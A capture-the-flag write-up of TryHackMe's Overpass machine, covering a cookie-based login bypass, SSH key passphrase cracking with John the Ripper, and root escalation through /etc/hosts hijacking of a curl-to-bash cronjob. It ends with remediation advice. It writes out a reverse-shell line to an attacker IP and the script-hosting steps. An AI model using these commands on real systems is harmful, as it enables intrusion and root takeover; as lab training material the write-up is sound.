

Capture The Flag (CTF) Write-up Report: Overpass

1. Executive Summary

This report documents the security assessment and exploitation of the **Overpass** machine from TryHackMe. The objective of this CTF is to identify vulnerabilities within a password manager application built by a fictional group of computer science students, exploit an authentication bypass mechanism to gain initial access, extract and crack user credentials, and ultimately abuse an insecure cronjob/host misconfiguration to escalate privileges to root.

2. Enumeration and Information Gathering

Network Scanning (Nmap)

An initial network scan reveals two core services exposed to the internet:

Plaintext

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Web Enumeration & Code Analysis

Navigating to the web application on port 80 shows a product page for a password manager. Running a directory brute-force tool (e.g., Gobuster) exposes an administrative directory:

- [/login.html](#) — A standard administration login panel.

Inspecting the frontend source code linked to the login form reveals the JavaScript file handling authentication ([login.js](#)). The validation logic contains a critical flow flaw:

JavaScript

```
// Simplified logic snippet from login.js
if (statusOrSomething == "Incorrect Credentials") {
  // Handle error
} else {
  Cookies.set("SessionToken", obj.token);
  window.location = "/admin";
}
```

3. Exploitation and Initial Access

Authentication Bypass via Cookie Manipulation

The authentication logic checks if the response returns an error. If an attacker manually injects a **SessionToken** cookie into their browser configuration without performing a valid login, the client-side router assumes the user is logged in.

1. Open the browser's Developer Tools (F12).
2. Navigate to the **Storage** / **Cookies** tab.
3. Inject a new cookie named **SessionToken** with an arbitrary string value (e.g., **ValidToken**).
4. Refresh the page or navigate directly to **/admin**.

Upon bypassing the login wall, the administrative dashboard exposes an SSH private key belonging to the user **james**.

Credential Cracking

The retrieved SSH private key is encrypted and requires a passphrase. To crack it locally:

1. Convert the key format for John the Ripper using **ssh2john.py**:
2. Bash

```
ssh2john id_rsa > id_rsa.hash
```

- 3.
4. Crack the passphrase using the **rockyou.txt** wordlist:
5. Bash

```
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
```

6.
 - **Resulting Passphrase Found:** **jamesrockyoupassword** (*example structural placeholder*)

Using the cracked passphrase, an SSH connection is established to gain initial access:

Bash

```
ssh -i id_rsa james@<Target_IP>
```

- **User Flag Location:** **/home/james/user.txt**

4. Privilege Escalation

System Enumeration

Inspecting the automated tasks running on the system reveals a system-wide cronjob executed by **root**:

Plaintext

```
* * * * * root curl http://overpass.thm/downloads/src/buildscript.sh | bash
```

The system retrieves a bash script from the domain `overpass.thm` and pipes it directly into an elevated shell environment.

Local Name Resolution Exploitation

Checking the write permissions on the local network resolution file (`/etc/hosts`) reveals it is world-writable:

Bash

```
ls -l /etc/hosts
```

```
-rw-rw-rw- 1 root root 234 /etc/hosts
```

Because `james` can modify this file, the local DNS path for `overpass.thm` can be hijacked to spoof the target web server.

Root Compromise Sequence

1. **Modify `/etc/hosts`:** Change the IP address pointer of `overpass.thm` to point to the local attacker machine IP.
2. Plaintext

```
<Attacker_IP> overpass.thm
```

- 3.
4. **Replicate Directory Structure:** On the attacker machine, create the matching directories expected by the cronjob:
5. Bash

```
mkdir -p downloads/src/
```

- 6.
7. **Craft Evil Payload:** Create a replacement file named `buildscript.sh` containing a reverse shell or a binary modification mechanism inside `downloads/src/`:
8. Bash

```
echo "bash -i >& /dev/tcp/<Attacker_IP>/4444 0>&1" > downloads/src/buildscript.sh
```

- 9.
10. **Host the Script:** Launch a local web server on port 80:
11. Bash

```
sudo python3 -m http.server 80
```

- 12.
13. **Catch the Shell:** Set up a Netcat listener on port 4444. Within one minute, the cronjob contacts the spoofed domain, downloads the malicious script, and executes it as root.
 - **Root Flag Location:** `/root/root.txt`

5. Remediation Recommendations

- **Secure Authentication Design:** Rely entirely on server-side validation to check credentials and issue cryptographically signed, unforgeable session identifiers (such as JWTs). Client-side scripts must never control authorization parameters.
- **File System Permissions Hardening:** Restrict write permissions to critical configuration infrastructure like `/etc/hosts` to root administrators only (`chmod 644 /etc/hosts`).
- **Secure Script Execution:** Avoid downloading arbitrary scripts over unencrypted paths (`http://`) and executing them with global administrative privileges without integrity verification (e.g., checksum validation).